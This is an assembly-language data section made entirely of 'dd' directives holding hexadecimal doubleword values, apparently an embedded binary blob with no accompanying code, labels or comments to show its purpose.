dd 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h
dd 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h
dd 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh
dd 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h
dd 28033372h, 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h
dd 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h
dd 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h
dd 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh
dd 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h, 6899D500h
dd 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh
dd 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h
dd 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h
dd 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h
dd 8414258h, 1A91CB03h, 0AF46FCh, 0B454BF2Ah, 0D5E868E1h
dd 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh
dd 104914D5h, 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h
dd 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h
dd 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h
dd 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h
dd 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h, 2E77F098h
dd 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah
dd 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh
dd 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h
dd 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah
dd 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h, 8AB08805h
dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh
dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h
dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h
dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h
dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh
dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h
dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h
dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh
dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h
dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h
dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h
dd 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh
dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh
dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h
dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh
dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h
dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh
dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h
dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h
dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h
dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh
dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h
dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h
dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h
dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h
dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch
dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h
dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh
dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh
dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h
dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h
dd 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h
dd 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh
dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h
dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h
dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h
dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h, 70690052h
dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch
dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h
dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh
dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh
dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h
dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h
dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h
dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h
dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah
dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h
dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h
dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h
dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h
dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h
dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h
dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h
dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h
dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h
dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h
dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh
dd 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h
dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah
dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h
dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh
dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h
dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h
dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh
dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h
dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h
dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h
dd 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah, 527333D6h
dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh, 9729863Ch
dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch, 3B4C980h
dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h
dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h
dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h, 0F7E2C8h
dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah
dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h
dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h, 817A4400h
dd 586A07E2h, 0F0C43FE4h
dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h
dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh
dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h
dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h
dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h
dd 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h
dd 172C7440h, 1739997Ah, 74126601h, 0D9075913h, 804B49BFh
dd 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh
dd 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h
dd 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh
dd 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h, 18066C74h
dd 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h
dd 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h
dd 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h
dd 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h
dd 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h
dd 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch
dd 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah
dd 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh
dd 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h
dd 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch
dd 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h
dd 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh
dd 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h
dd 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h
dd 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch
dd 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h
dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h
dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh
dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h
dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh
dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h
dd 3685944h, 30058B64h, 3C148500h, 421904F2h, 0C4080F02h
dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h
dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h
dd 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h
dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h
dd 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h
dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h
dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h
dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h
dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h
dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh
dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh
dd 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah
dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h
dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h
dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h
dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h
dd 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h
dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h
dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h
dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h
dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h
dd 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h
dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh
dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h
dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h
dd 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh
dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh
dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh
dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h
dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h
dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h
dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh
dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh
dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h
dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h
dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h
dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch
dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh
dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h
dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h
dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h
dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h
dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h
dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h
dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h
dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h
dd 0F4107D2Ah, 0C94E00D4h
dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h
dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h
dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h
dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h
dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch
dd 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh
dd 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h
dd 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh
dd 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh
dd 0A51DE87Eh, 5539D9h, 0A4CFAAACh, 0B6AB362Ah, 4ED25005h
dd 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h
dd 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh
dd 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h
dd 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h, 1E759546h
dd 15A9Bh, 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh
dd 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h
dd 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh
dd 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h
dd 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h
dd 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh
dd 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h
dd 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h
dd 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh
dd 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h
dd 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h
dd 37120143h, 3570A985h, 7378F456h, 74160800h, 9CAE0D24h
dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh
dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h
dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h
dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h
dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h
dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh
dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h
dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh
dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h
dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh
dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h
dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h
dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh
dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh
dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h
dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h
dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h
dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh
dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah
dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh
dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h
dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h
dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h
dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h
dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h
dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h
dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh
dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h
dd 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h
dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h
dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh
dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh
dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh
dd 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah
dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h
dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h
dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h
dd 0B057A384h, 972D00E1h, 70895130h, 94900853h, 5C81B800h
dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h
dd 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh
dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h
dd 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h
dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh
dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h
dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh
dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h
dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh
dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h
dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h
dd 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h
dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h
dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h
dd 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh
dd 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch
dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh
dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh
dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch
dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h
dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh
dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h
dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h
dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h
dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh
dd 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch
dd 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h
dd 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h
dd 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h
dd 2008DBDh, 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h
dd 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h
dd 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh
dd 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh
dd 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h
dd 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h
dd 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h
dd 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h
dd 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch
dd 0B05F07EBh, 7800CA2Ch
dd 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h
dd 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch
dd 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h, 4A0F7D44h
dd 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h
dd 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h
dd 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch, 8697E23Fh
dd 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh
dd 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh
dd 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch, 3C1B7BCCh
dd 7FC1486h, 1CF83101h, 0C21AF052h, 0EA01C1D0h, 0B52C0318h
dd 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h
dd 2DAB5612h, 1657824h, 0F85AD836h, 0E43C5EC7h, 0E00B414h
dd 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h
dd 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh, 30007958h
dd 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh
dd 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h, 6A0012FAh
dd 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h, 6F88C401h
dd 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h
dd 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h
